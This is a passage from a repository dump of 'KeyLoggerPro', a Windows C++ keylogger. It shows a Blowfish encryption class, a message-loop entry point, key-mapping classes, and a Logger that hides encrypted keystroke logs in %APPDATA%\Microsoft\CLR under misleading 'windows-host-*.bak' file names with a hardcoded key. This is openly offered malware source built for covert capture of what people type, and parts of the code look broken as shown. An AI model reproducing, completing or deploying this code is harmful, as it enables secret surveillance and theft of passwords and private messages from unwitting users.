0x9dbc8057, 0xf0f7c086, 0x60787bf8, 0x6003604d, 205 | 0xd1fd8346, 0xf6381fb0, 0x7745ae04, 0xd736fccc, 206 | 0x83426b33, 0xf01eab71, 0xb0804187, 0x3c005e5f, 207 | 0x77a057be, 0xbde8ae24, 0x55464299, 0xbf582e61, 208 | 0x4e58f48f, 0xf2ddfda2, 0xf474ef38, 0x8789bdc2, 209 | 0x5366f9c3, 0xc8b38e74, 0xb475f255, 0x46fcd9b9, 210 | 0x7aeb2661, 0x8b1ddf84, 0x846a0e79, 0x915f95e2, 211 | 0x466e598e, 0x20b45770, 0x8cd55591, 0xc902de4c, 212 | 0xb90bace1, 0xbb8205d0, 0x11a86248, 0x7574a99e, 213 | 0xb77f19b6, 0xe0a9dc09, 0x662d09a1, 0xc4324633, 214 | 0xe85a1f02, 0x09f0be8c, 0x4a99a025, 0x1d6efe10, 215 | 0x1ab93d1d, 0x0ba5a4df, 0xa186f20f, 0x2868f169, 216 | 0xdcb7da83, 0x573906fe, 0xa1e2ce9b, 0x4fcd7f52, 217 | 0x50115e01, 0xa70683fa, 0xa002b5c4, 0x0de6d027, 218 | 0x9af88c27, 0x773f8641, 0xc3604c06, 0x61a806b5, 219 | 0xf0177a28, 0xc0f586e0, 0x006058aa, 0x30dc7d62, 220 | 0x11e69ed7, 0x2338ea63, 0x53c2dd94, 0xc2c21634, 221 | 0xbbcbee56, 0x90bcb6de, 0xebfc7da1, 0xce591d76, 222 | 0x6f05e409, 0x4b7c0188, 0x39720a3d, 0x7c927c24, 223 | 0x86e3725f, 0x724d9db9, 0x1ac15bb4, 0xd39eb8fc, 224 | 0xed545578, 0x08fca5b5, 0xd83d7cd3, 0x4dad0fc4, 225 | 0x1e50ef5e, 0xb161e6f8, 0xa28514d9, 0x6c51133c, 226 | 0x6fd5c7e7, 0x56e14ec4, 0x362abfce, 0xddc6c837, 227 | 0xd79a3234, 0x92638212, 0x670efa8e, 0x406000e0 }, 228 | 229 | { 0x3a39ce37, 0xd3faf5cf, 0xabc27737, 0x5ac52d1b, 230 | 0x5cb0679e, 0x4fa33742, 0xd3822740, 0x99bc9bbe, 231 | 0xd5118e9d, 0xbf0f7315, 0xd62d1c7e, 0xc700c47b, 232 | 0xb78c1b6b, 0x21a19045, 0xb26eb1be, 0x6a366eb4, 233 | 0x5748ab2f, 0xbc946e79, 0xc6a376d2, 0x6549c2c8, 234 | 0x530ff8ee, 0x468dde7d, 0xd5730a1d, 0x4cd04dc6, 235 | 0x2939bbdb, 0xa9ba4650, 0xac9526e8, 0xbe5ee304, 236 | 0xa1fad5f0, 0x6a2d519a, 0x63ef8ce2, 0x9a86ee22, 237 | 0xc089c2b8, 0x43242ef6, 0xa51e03aa, 0x9cf2d0a4, 238 | 0x83c061ba, 0x9be96a4d, 0x8fe51550, 0xba645bd6, 239 | 0x2826a2f9, 0xa73a3ae1, 0x4ba99586, 0xef5562e9, 240 | 0xc72fefd3, 0xf752f7da, 0x3f046f69, 0x77fa0a59, 241 | 0x80e4a915, 0x87b08601, 0x9b09e6ad, 0x3b3ee593, 242 | 0xe990fd5a, 0x9e34d797, 0x2cf0b7d9, 0x022b8b51, 243 | 0x96d5ac3a, 0x017da67d, 0xd1cf3ed6, 0x7c7d2d28, 244 | 0x1f9f25cf, 0xadf2b89b, 0x5ad6b472, 0x5a88f54c, 245 | 0xe029ac71, 0xe019a5e6, 0x47b0acfd, 0xed93fa9b, 246 | 0xe8d3c48d, 0x283b57cc, 0xf8d56629, 0x79132e28, 247 | 0x785f0191, 0xed756055, 0xf7960e44, 0xe3d35e8c, 248 | 0x15056dd4, 0x88f46dba, 0x03a16125, 0x0564f0bd, 249 | 0xc3eb9e15, 0x3c9057a2, 0x97271aec, 0xa93a072a, 250 | 0x1b3f6d9b, 0x1e6321f5, 0xf59c66fb, 0x26dcf319, 251 | 0x7533d928, 0xb155fdf5, 0x03563482, 0x8aba3cbb, 252 | 0x28517711, 0xc20ad9f8, 0xabcc5167, 0xccad925f, 253 | 0x4de81751, 0x3830dc8e, 0x379d5862, 0x9320f991, 254 | 0xea7a90c2, 0xfb3e7bce, 0x5121ce64, 0x774fbe32, 255 | 0xa8b6e37e, 0xc3293d46, 0x48de5369, 0x6413e680, 256 | 0xa2ae0810, 0xdd6db224, 0x69852dfd, 0x09072166, 257 | 0xb39a460a, 0x6445c0dd, 0x586cdecf, 0x1c20c8ae, 258 | 0x5bbef7dd, 0x1b588d40, 0xccd2017f, 0x6bb4e3bb, 259 | 0xdda26a7e, 0x3a59ff45, 0x3e350a44, 0xbcb4cdd5, 260 | 0x72eacea8, 0xfa6484bb, 0x8d6612ae, 0xbf3c6f47, 261 | 0xd29be463, 0x542f5d9e, 0xaec2771b, 0xf64e6370, 262 | 0x740e0d8d, 0xe75b1357, 0xf8721671, 0xaf537d5d, 263 | 0x4040cb08, 0x4eb4e2cc, 0x34d2466a, 0x0115af84, 264 | 0xe1b00428, 0x95983a1d, 0x06b89fb4, 0xce6ea048, 265 | 0x6f3f3b82, 0x3520ab82, 0x011a1d4b, 0x277227f8, 266 | 0x611560b1, 0xe7933fdc, 0xbb3a792b, 0x344525bd, 267 | 0xa08839e1, 0x51ce794b, 0x2f32c9b7, 0xa01fbac9, 268 | 0xe01cc87e, 0xbcc7d1f6, 0xcf0111c3, 0xa1e8aac7, 269 | 0x1a908749, 0xd44fbd9a, 0xd0dadecb, 0xd50ada38, 270 | 0x0339c32a, 0xc6913667, 0x8df9317c, 0xe0b12b4f, 271 | 0xf79e59b7, 0x43f5bb3a, 0xf2d519ff, 0x27d9459c, 272 | 0xbf97222c, 0x15e6fc2a, 0x0f91fc71, 0x9b941525, 273 | 0xfae59361, 0xceb69ceb, 0xc2a86459, 0x12baa8d1, 274 | 0xb6c1075e, 0xe3056a0c, 0x10d25065, 0xcb03a442, 275 | 0xe0ec6e0e, 0x1698db3b, 0x4c98a0be, 0x3278e964, 276 | 0x9f1f9532, 0xe0d392df, 0xd3a0342b, 0x8971f21e, 277 | 0x1b0a7441, 0x4ba3348c, 0xc5be7120, 0xc37632d8, 278 | 0xdf359f8d, 0x9b992f2e, 0xe60b6f47, 0x0fe3f11d, 279 | 0xe54cda54, 0x1edad891, 0xce6279cf, 0xcd3e7e6f, 280 | 0x1618b166, 0xfd2c1d05, 0x848fd2c5, 0xf6fb2299, 281 | 0xf523f357, 0xa6327623, 0x93a83531, 0x56cccd02, 282 | 0xacf08162, 0x5a75ebb5, 0x6e163697, 0x88d273cc, 283 | 0xde966292, 0x81b949d0, 0x4c50901b, 0x71c65614, 284 | 0xe6c6c7bd, 0x327a140a, 0x45e1d006, 0xc3f27b9a, 285 | 0xc9aa53fd, 0x62a80f00, 0xbb25bfe2, 0x35bdd2f6, 286 | 0x71126905, 0xb2040222, 0xb6cbcf7c, 0xcd769c2b, 287 | 0x53113ec0, 0x1640e3d3, 0x38abbd60, 0x2547adf0, 288 | 0xba38209c, 0xf746ce76, 0x77afa1c5, 0x20756060, 289 | 0x85cbfe4e, 0x8ae88dd8, 0x7aaaf9b0, 0x4cf9aa7e, 290 | 0x1948c25c, 0x02fb8a8c, 0x01c36ae4, 0xd6ebe1f9, 291 | 0x90d4f869, 0xa65cdea0, 0x3f09252d, 0xc208e69f, 292 | 0xb74e6132, 0xce77e25b, 0x578fdfe3, 0x3ac372e6 } 293 | }; 294 | 295 | Encryption::Encryption(unsigned char *_ucKey, size_t _keysz) { 296 | const Block &_oChain = Block(0UL, 0UL); 297 | 298 | m_oChain0 = _oChain; 299 | m_oChain = _oChain; 300 | 301 | if (_keysz < 1) 302 | throw std::exception("Incorrect key length"); 303 | 304 | if (_keysz > 56) 305 | _keysz = 56; 306 | 307 | unsigned char aucLocalKey[56]; 308 | 309 | memcpy(aucLocalKey, _ucKey, _keysz); 310 | memcpy(m_auiP, scm_auiInitP, sizeof m_auiP); 311 | memcpy(m_auiS, scm_auiInitS, sizeof m_auiS); 312 | 313 | const unsigned char *p = aucLocalKey; 314 | unsigned int x = 0; 315 | int iCt = 0; 316 | 317 | for (auto i = 0; i < 18; ) { 318 | x = 0; 319 | 320 | for (auto n = 4; --n; ) { 321 | int i_val = static_cast(*p); 322 | x <<= 8; 323 | x |= *(p++); 324 | iCt++; 325 | 326 | if (iCt == _keysz) { 327 | iCt = 0; 328 | p = aucLocalKey; 329 | } 330 | } 331 | 332 | m_auiP[i++] ^= x; 333 | } 334 | 335 | Block block(0UL, 0UL); 336 | 337 | for (auto i = 0; i < 18; ) 338 | encrypt(block), m_auiP[i++] = block.m_uil, m_auiP[i++] = block.m_uir; 339 | for (auto j = 0; j < 4; ++j) 340 | for (auto k = 0; k < 256; ) 341 | encrypt(block), m_auiS[j][k++] = block.m_uil, m_auiS[j][k++] = block.m_uir; 342 | } 343 | 344 | void Encryption::resetChain() { 345 | m_oChain = m_oChain0; 346 | } 347 | 348 | inline void bytesToBlock(unsigned char const *_p, Block &_block) { 349 | unsigned int y; 350 | 351 | _block.m_uil = 0; 352 | y = *_p++; 353 | y <<= 24; 354 | _block.m_uil |= y; 355 | y = *_p++; 356 | y <<= 16; 357 | _block.m_uil |= y; 358 | y = *_p++; 359 | y <<= 8; 360 | _block.m_uil |= y; 361 | y = *_p++; 362 | _block.m_uil |= y; 363 | 364 | _block.m_uir = 0; 365 | y = *_p++; 366 | y <<= 24; 367 | _block.m_uir |= y; 368 | y = *_p++; 369 | y <<= 16; 370 | _block.m_uir |= y; 371 | y = *_p++; 372 | y <<= 8; 373 | _block.m_uir |= y; 374 | y = *_p++; 375 | _block.m_uir |= y; 376 | } 377 | 378 | inline void blockToBytes(Block const &_block, unsigned char *_p) { 379 | unsigned int y; 380 | 381 | y = _block.m_uir; 382 | *--_p = Byte(y); 383 | y = _block.m_uir >> 8; 384 | *--_p = Byte(y); 385 | y = _block.m_uir >> 16; 386 | *--_p = Byte(y); 387 | y = _block.m_uir >> 24; 388 | *--_p = Byte(y); 389 | 390 | y = _block.m_uil; 391 | *--_p = Byte(y); 392 | y = _block.m_uil >> 8; 393 | *--_p = Byte(y); 394 | y = _block.m_uil >> 16; 395 | *--_p = Byte(y); 396 | y = _block.m_uil >> 24; 397 | *--_p = Byte(y); 398 | } 399 | 400 | void Encryption::encrypt(unsigned char *_buf, size_t _sz, int _mode) { 401 | if ((_sz == 0) || (_sz % 8 != 0)) 402 | throw std::exception("Incorrect buffer length"); 403 | 404 | Block block; 405 | if (_mode == CBC) { 406 | Block chain(m_oChain); 407 | for (; _sz >= 8; _sz -= 8) { 408 | bytesToBlock(_buf, block); 409 | block ^= chain; 410 | encrypt(block); 411 | chain = block; 412 | blockToBytes(block, _buf += 8); 413 | } 414 | } 415 | else if (_mode == CFB) { 416 | Block chain(m_oChain); 417 | for (; _sz >= 8; _sz -= 8) { 418 | encrypt(chain); 419 | bytesToBlock(_buf, block); 420 | block ^= chain; 421 | chain = block; 422 | blockToBytes(block, _buf += 8); 423 | } 424 | } 425 | else { 426 | for (; _sz >= 8; _sz -= 8) { 427 | bytesToBlock(_buf, block); 428 | encrypt(block); 429 | blockToBytes(block, _buf += 8); 430 | } 431 | } 432 | } 433 | 434 | void Encryption::encrypt(const unsigned char *_in, unsigned char *_out, size_t _sz, int _mode) { 435 | if ((_sz == 0) || (_sz % 8 != 0)) 436 | throw std::exception("Incorrect buffer length"); 437 | 438 | Block block; 439 | if (_mode == CBC) { 440 | Block chain(m_oChain); 441 | for (; _sz >= 8; _sz -= 8, _in += 8) { 442 | bytesToBlock(_in, block); 443 | block ^= chain; 444 | encrypt(block); 445 | chain = block; 446 | blockToBytes(block, _out += 8); 447 | } 448 | } 449 | else if (_mode == CFB) { 450 | Block chain(m_oChain); 451 | for (; _sz >= 8; _sz -= 8, _in += 8) { 452 | encrypt(chain); 453 | bytesToBlock(_in, block); 454 | block ^= chain; 455 | chain = block; 456 | blockToBytes(block, _out += 8); 457 | } 458 | } 459 | else { 460 | for (; _sz >= 8; _sz -= 8, _in += 8) { 461 | bytesToBlock(_in, block); 462 | encrypt(block); 463 | blockToBytes(block, _out += 8); 464 | } 465 | } 466 | } 467 | 468 | void Encryption::decrypt(unsigned char *_buf, size_t _sz, int _mode) { 469 | if ((_sz == 0) || (_sz % 8 != 0)) 470 | throw std::exception("Incorrect buffer length"); 471 | 472 | Block block; 473 | if (_mode == CBC) { 474 | Block crypt; 475 | Block chain(m_oChain); 476 | for (; _sz >= 8; _sz -= 8) { 477 | bytesToBlock(_buf, block); 478 | crypt = block; 479 | decrypt(block); 480 | block ^= chain; 481 | chain = crypt; 482 | blockToBytes(block, _buf += 8); 483 | } 484 | } 485 | else if (_mode == CFB) { 486 | Block crypt; 487 | Block chain(m_oChain); 488 | for (; _sz >= 8; _sz -= 8) { 489 | bytesToBlock(_buf, block); 490 | encrypt(chain); 491 | crypt = block; 492 | block ^= chain; 493 | chain = crypt; 494 | blockToBytes(block, _buf += 8); 495 | } 496 | } 497 | else { 498 | for (; _sz >= 8; _sz -= 8) { 499 | bytesToBlock(_buf, block); 500 | decrypt(block); 501 | blockToBytes(block, _buf += 8); 502 | } 503 | } 504 | } 505 | 506 | void Encryption::decrypt(const unsigned char *_in, unsigned char *_out, size_t _sz, int _mode) { 507 | if ((_sz == 0) || (_sz % 8 != 0)) 508 | throw std::exception("Incorrect buffer length"); 509 | 510 | Block block; 511 | if (_mode == CBC) { 512 | Block crypt; 513 | Block chain(m_oChain); 514 | for (; _sz >= 8; _sz -= 8, _in += 8) { 515 | bytesToBlock(_in, block); 516 | crypt = block; 517 | decrypt(block); 518 | block ^= chain; 519 | chain = crypt; 520 | blockToBytes(block, _out += 8); 521 | } 522 | } 523 | else if (_mode == CFB) { 524 | Block crypt; 525 | Block chain(m_oChain); 526 | for (; _sz >= 8; _sz -= 8, _in += 8) { 527 | bytesToBlock(_in, block); 528 | encrypt(chain); 529 | crypt = block; 530 | block ^= chain; 531 | chain = crypt; 532 | blockToBytes(block, _out += 8); 533 | } 534 | } 535 | else { 536 | for (; _sz >= 8; _sz -= 8, _in += 8) { 537 | bytesToBlock(_in, block); 538 | decrypt(block); 539 | blockToBytes(block, _out += 8); 540 | } 541 | } 542 | } 543 | 544 | void Encryption::encrypt(Block &_block) { 545 | unsigned int uiLeft = _block.m_uil; 546 | unsigned int uiRight = _block.m_uir; 547 | uiLeft ^= m_auiP[0]; 548 | uiRight ^= F(uiLeft) ^ m_auiP[1]; uiLeft ^= F(uiRight) ^ m_auiP[2]; 549 | uiRight ^= F(uiLeft) ^ m_auiP[3]; uiLeft ^= F(uiRight) ^ m_auiP[4]; 550 | uiRight ^= F(uiLeft) ^ m_auiP[5]; uiLeft ^= F(uiRight) ^ m_auiP[6]; 551 | uiRight ^= F(uiLeft) ^ m_auiP[7]; uiLeft ^= F(uiRight) ^ m_auiP[8]; 552 | uiRight ^= F(uiLeft) ^ m_auiP[9]; uiLeft ^= F(uiRight) ^ m_auiP[10]; 553 | uiRight ^= F(uiLeft) ^ m_auiP[11]; uiLeft ^= F(uiRight) ^ m_auiP[12]; 554 | uiRight ^= F(uiLeft) ^ m_auiP[13]; uiLeft ^= F(uiRight) ^ m_auiP[14]; 555 | uiRight ^= F(uiLeft) ^ m_auiP[15]; uiLeft ^= F(uiRight) ^ m_auiP[16]; 556 | uiRight ^= m_auiP[17]; 557 | _block.m_uil = uiRight; 558 | _block.m_uir = uiLeft; 559 | } 560 | 561 | void Encryption::decrypt(Block &_block) { 562 | unsigned int uiLeft = _block.m_uil; 563 | unsigned int uiRight = _block.m_uir; 564 | uiLeft ^= m_auiP[17]; 565 | uiRight ^= F(uiLeft) ^ m_auiP[16]; uiLeft ^= F(uiRight) ^ m_auiP[15]; 566 | uiRight ^= F(uiLeft) ^ m_auiP[14]; uiLeft ^= F(uiRight) ^ m_auiP[13]; 567 | uiRight ^= F(uiLeft) ^ m_auiP[12]; uiLeft ^= F(uiRight) ^ m_auiP[11]; 568 | uiRight ^= F(uiLeft) ^ m_auiP[10]; uiLeft ^= F(uiRight) ^ m_auiP[9]; 569 | uiRight ^= F(uiLeft) ^ m_auiP[8]; uiLeft ^= F(uiRight) ^ m_auiP[7]; 570 | uiRight ^= F(uiLeft) ^ m_auiP[6]; uiLeft ^= F(uiRight) ^ m_auiP[5]; 571 | uiRight ^= F(uiLeft) ^ m_auiP[4]; uiLeft ^= F(uiRight) ^ m_auiP[3]; 572 | uiRight ^= F(uiLeft) ^ m_auiP[2]; uiLeft ^= F(uiRight) ^ m_auiP[1]; 573 | uiRight ^= m_auiP[0]; 574 | _block.m_uil = uiRight; 575 | _block.m_uir = uiLeft; 576 | } 577 | 578 | } 579 | -------------------------------------------------------------------------------- /KeyLoggerPro/Encryption.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Encryption.h 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.2 - 03/08/2016 6 | */ 7 | 8 | #pragma once 9 | 10 | #include "stdafx.h" 11 | 12 | namespace KeyLoggerPro { 13 | 14 | struct Block { 15 | unsigned int m_uil, m_uir; 16 | 17 | Block(unsigned int, unsigned int); 18 | Block(const Block&); 19 | Block& operator^=(Block&); 20 | }; 21 | 22 | class Encryption { 23 | 24 | private: 25 | Block m_oChain0; 26 | Block m_oChain; 27 | unsigned int m_auiP[18]; 28 | unsigned int m_auiS[4][256]; 29 | static const unsigned int scm_auiInitP[18]; 30 | static const unsigned int scm_auiInitS[4][256]; 31 | 32 | unsigned int F(unsigned int); 33 | void encrypt(Block&); 34 | void decrypt(Block&); 35 | 36 | public: 37 | enum { ECB = 0, CBC = 1, CFB = 2 }; 38 | 39 | Encryption(unsigned char*, size_t); 40 | 41 | void resetChain(); 42 | void encrypt(unsigned char*, size_t, int); 43 | void encrypt(const unsigned char*, unsigned char*, size_t, int); 44 | void decrypt(unsigned char*, size_t, int); 45 | void decrypt(const unsigned char*, unsigned char*, size_t, int); 46 | 47 | }; 48 | 49 | inline unsigned char Byte(unsigned int _ui) { 50 | return static_cast(_ui & 0xFF); 51 | } 52 | 53 | inline unsigned int Encryption::F(unsigned int _ui) { 54 | return ((m_auiS[0][Byte(_ui>>24)] + m_auiS[1][Byte(_ui>>16)]) ^ m_auiS[2][Byte(_ui>>8)]) + m_auiS[3][Byte(_ui)]; 55 | } 56 | 57 | } 58 | -------------------------------------------------------------------------------- /KeyLoggerPro/KeyLoggerPro.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * KeyLoggerPro.cpp 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.0 - 23/07/2016 6 | */ 7 | 8 | #include "stdafx.h" 9 | #include "KeyLoggerPro.h" 10 | 11 | int APIENTRY wWinMain(_In_ HINSTANCE hInstance, 12 | _In_opt_ HINSTANCE hPrevInstance, 13 | _In_ LPWSTR lpCmdLine, 14 | _In_ int nCmdShow) { 15 | UNREFERENCED_PARAMETER(hPrevInstance); 16 | UNREFERENCED_PARAMETER(lpCmdLine); 17 | 18 | HACCEL hAccelTable = 19 | LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_KEYLOGGERPRO)); 20 | 21 | MSG msg; 22 | 23 | while (GetMessage(&msg, nullptr, 0, 0)) { 24 | if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { 25 | TranslateMessage(&msg); 26 | DispatchMessage(&msg); 27 | } 28 | } 29 | 30 | return static_cast(msg.wParam); 31 | } 32 | -------------------------------------------------------------------------------- /KeyLoggerPro/KeyLoggerPro.h: -------------------------------------------------------------------------------- 1 | /** 2 | * KeyLoggerPro.h 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.0 - 23/07/2016 6 | */ 7 | 8 | #pragma once 9 | 10 | #include "resource.h" 11 | -------------------------------------------------------------------------------- /KeyLoggerPro/KeyLoggerPro.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RaulButuc/KeyLoggerPro/5d29e81a8005442f94fbf2eb0e7df52716a0bf51/KeyLoggerPro/KeyLoggerPro.ico -------------------------------------------------------------------------------- /KeyLoggerPro/KeyLoggerPro.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RaulButuc/KeyLoggerPro/5d29e81a8005442f94fbf2eb0e7df52716a0bf51/KeyLoggerPro/KeyLoggerPro.rc -------------------------------------------------------------------------------- /KeyLoggerPro/KeyLoggerPro.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4} 23 | Win32Proj 24 | KeyLoggerPro 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Use 87 | Level3 88 | Disabled 89 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Windows 94 | true 95 | 96 | 97 | 98 | 99 | Use 100 | Level3 101 | Disabled 102 | _DEBUG;_WINDOWS;%(PreprocessorDefinitions) 103 | true 104 | 105 | 106 | Windows 107 | true 108 | 109 | 110 | 111 | 112 | Level3 113 | Use 114 | MaxSpeed 115 | true 116 | true 117 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Windows 122 | true 123 | true 124 | true 125 | 126 | 127 | 128 | 129 | Level3 130 | Use 131 | MaxSpeed 132 | true 133 | true 134 | NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 135 | true 136 | 137 | 138 | Windows 139 | true 140 | true 141 | true 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | Create 164 | Create 165 | Create 166 | Create 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | -------------------------------------------------------------------------------- /KeyLoggerPro/KeyLoggerPro.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {f63eb240-c9ec-443a-8c4f-e6010b98c637} 18 | 19 | 20 | {bf7d4fe6-694d-485e-bb52-2811ad998b9a} 21 | 22 | 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files\Utilities 38 | 39 | 40 | Header Files\Utilities 41 | 42 | 43 | Header Files\Utilities 44 | 45 | 46 | Header Files\Utilities 47 | 48 | 49 | Header Files\Utilities 50 | 51 | 52 | 53 | 54 | Source Files 55 | 56 | 57 | Source Files 58 | 59 | 60 | Source Files\Utilities 61 | 62 | 63 | Source Files\Utilities 64 | 65 | 66 | Source Files\Utilities 67 | 68 | 69 | Source Files\Utilities 70 | 71 | 72 | Source Files\Utilities 73 | 74 | 75 | 76 | 77 | Resource Files 78 | 79 | 80 | 81 | 82 | Resource Files 83 | 84 | 85 | Resource Files 86 | 87 | 88 | -------------------------------------------------------------------------------- /KeyLoggerPro/KeyPair.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * KeyPair.cpp 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.0 - 23/07/2016 6 | */ 7 | 8 | #include "stdafx.h" 9 | #include "KeyPair.h" 10 | 11 | namespace KeyLoggerPro { 12 | 13 | KeyPair::KeyPair(const std::string& vKey = "", 14 | const std::string& name = "") 15 | : m_vKey(vKey), m_Name(name) { } 16 | 17 | std::string KeyPair::getVKey(void) const { 18 | return m_vKey; 19 | } 20 | 21 | std::string KeyPair::getName(void) const { 22 | return m_Name; 23 | } 24 | 25 | void KeyPair::setVKey(const std::string& vKey = "") { 26 | this->m_vKey = vKey; 27 | } 28 | 29 | void KeyPair::setName(const std::string& name = "") { 30 | this->m_Name = name; 31 | } 32 | 33 | } -------------------------------------------------------------------------------- /KeyLoggerPro/KeyPair.h: -------------------------------------------------------------------------------- 1 | /** 2 | * KeyPair.h 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.0 - 23/07/2016 6 | */ 7 | 8 | #pragma once 9 | 10 | #include "stdafx.h" 11 | #include 12 | 13 | namespace KeyLoggerPro { 14 | 15 | class KeyPair { 16 | 17 | private: 18 | std::string m_vKey; 19 | std::string m_Name; 20 | 21 | public: 22 | KeyPair(const std::string&, const std::string&); 23 | 24 | std::string getVKey(void) const; 25 | std::string getName(void) const; 26 | void setVKey(const std::string&); 27 | void setName(const std::string&); 28 | 29 | }; 30 | 31 | } 32 | -------------------------------------------------------------------------------- /KeyLoggerPro/Keys.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RaulButuc/KeyLoggerPro/5d29e81a8005442f94fbf2eb0e7df52716a0bf51/KeyLoggerPro/Keys.cpp -------------------------------------------------------------------------------- /KeyLoggerPro/Keys.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Keys.h 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.0 - 23/07/2016 6 | */ 7 | 8 | #pragma once 9 | 10 | #include "stdafx.h" 11 | #include "KeyPair.h" 12 | #include 13 | #include 14 | 15 | namespace KeyLoggerPro { 16 | 17 | typedef std::map KEY_MAP; 18 | 19 | class Keys { 20 | 21 | private: 22 | static KEY_MAP m_Keys; 23 | 24 | public: 25 | static KEY_MAP getKeys(void); 26 | 27 | }; 28 | 29 | } 30 | -------------------------------------------------------------------------------- /KeyLoggerPro/Logger.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Logger.cpp 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.2 - 03/08/2016 6 | */ 7 | 8 | #include "stdafx.h" 9 | #include "Logger.h" 10 | #include "Encryption.h" 11 | #include "BasicDateTime.h" 12 | 13 | namespace KeyLoggerPro { 14 | 15 | LPCWSTR Logger::strToLPCWSTR(const std::string &_str) { 16 | wchar_t* wString = new wchar_t[2 * strlen(_str.c_str())]; 17 | MultiByteToWideChar(CP_ACP, 0, _str.c_str(), -1, wString, 2 * strlen(_str.c_str())); 18 | 19 | return wString; 20 | } 21 | 22 | std::string Logger::getLogDir(const bool _app_sep = false) const { 23 | std::string appdata(getenv("APPDATA")); 24 | std::string dir = appdata + "\\Microsoft\\CLR"; 25 | 26 | return dir + (_app_sep ? "\\" : ""); 27 | } 28 | 29 | bool Logger::chkdir(const std::string &_path) { 30 | return static_cast(CreateDirectory(strToLPCWSTR(_path), nullptr) || 31 | GetLastError() == ERROR_ALREADY_EXISTS); 32 | } 33 | 34 | bool Logger::mkdir(std::string _path) { 35 | for (char &ch : _path) { 36 | if (ch == '\\') { 37 | ch = '\0'; 38 | 39 | if (!chkdir(_path)) { 40 | return false; 41 | } 42 | 43 | ch = '\\'; 44 | } 45 | } 46 | 47 | return true; 48 | } 49 | 50 | template 51 | std::string Logger::write(const _Tp* &_inf) { 52 | BasicDateTime bDateTime; 53 | std::string path = getLogDir(true); 54 | path.append("windows-host-").append(bDateTime.shortDateToString()).append(".bak"); 55 | 56 | try { 57 | log(path, std::ios::app); 58 | 59 | if (!log) 60 | return ""; 61 | 62 | std::string data = "[" + bDateTime.dateToString() + "]\n" + _inf + "\n"; 63 | std::string key = "MNmtceICrTlqSCxJhWgAcPpPKGPQVxtlWsSsElDCdQegutNVwUDFpft"; 64 | std::string _enc_data(data.size(), '\0'); 65 | int re = data.size() % 8; 66 | key.append('-', re); 67 | 68 | Encryption _safe_enc((unsigned char*)key, key.size()); 69 | _safe_enc.encrypt((unsigned char*)data.c_str(), (unsigned char*)_enc_data, data.size(), Encryption::CBC); 70 | log << _enc_data; 71 | 72 | return path(path.begin()+path.find_last_of('\\'), path.end()); 73 | } 74 | catch (...) { 75 | return nullptr; 76 | } 77 | } 78 | 79 | } 80 | -------------------------------------------------------------------------------- /KeyLoggerPro/Logger.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Logger.h 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.1 - 01/08/2016 6 | */ 7 | 8 | #pragma once 9 | 10 | #include "stdafx.h" 11 | #include 12 | 13 | namespace KeyLoggerPro { 14 | 15 | class Logger { 16 | 17 | private: 18 | std::fstream log; 19 | 20 | LPCWSTR strToLPCWSTR(const std::string&); 21 | 22 | public: 23 | std::string getLogDir(const bool) const; 24 | bool chkdir(const std::string&); 25 | bool mkdir(std::string); 26 | 27 | template 28 | std::string write(const _Tp* &); 29 | 30 | }; 31 | 32 | } 33 | -------------------------------------------------------------------------------- /KeyLoggerPro/Resource.h: -------------------------------------------------------------------------------- 1 | #define IDS_APP_TITLE 103 2 | #define IDR_MAINFRAME 128 3 | #define IDD_KEYLOGGERPRO_DIALOG 102 4 | #define IDD_ABOUTBOX 103 5 | #define IDM_ABOUT 104 6 | #define 